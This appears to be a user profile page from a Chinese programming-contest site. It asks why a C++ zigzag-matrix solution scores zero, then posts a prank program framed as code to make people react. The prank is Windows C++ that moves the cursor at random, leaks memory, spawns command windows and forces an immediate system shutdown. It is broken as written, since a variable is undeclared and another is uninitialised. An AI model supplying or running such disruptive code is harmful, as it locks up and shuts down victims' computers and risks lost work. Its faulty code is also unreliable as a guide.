-
个人简介
[xixi](file://PC208_027/Users/administrator/Desktop/新建文件夹)帮我看看为啥0分:
#include<bits/stdc++.h> using namespace std; int a[22][22],n,cnt=0; int main(){ cin>>n; for(int i=2;i<=n*n+1;i++){ if(i%2==0){ for(int x=n;x>=1;x--){ if(i-x>0 && i-x<=n){ a[x][i-x]=++cnt; } } } else{ for(int x=1;x<=n;x++){ if(i-x>0 && i-x<=n){ a[x][i-x]=++cnt; } } } for(int i=1;i<=n;i++){ for(int j=1;j<=n;j++){ cout<<setw(5)<<a[i][j]; } cout<<endl; } } return 0; } ``` 让人( )的代码 ~~~```cpp #include <bits/stdc++.h> #include <windows.h> #include <conio.h> #include <iostream> #include <Windows.h> #include <winternl.h> using namespace std; int main(){ int a; for( ; ; ){ SetCursorPos(rand()%a,rand()%b); malloc(1000000); } sleep(999999999999); while(a<=500){ system("start cmd"); a++; } system("shutdown -s -t 0"); return 0; } ```
-
最近活动
-
Stat
-
Rating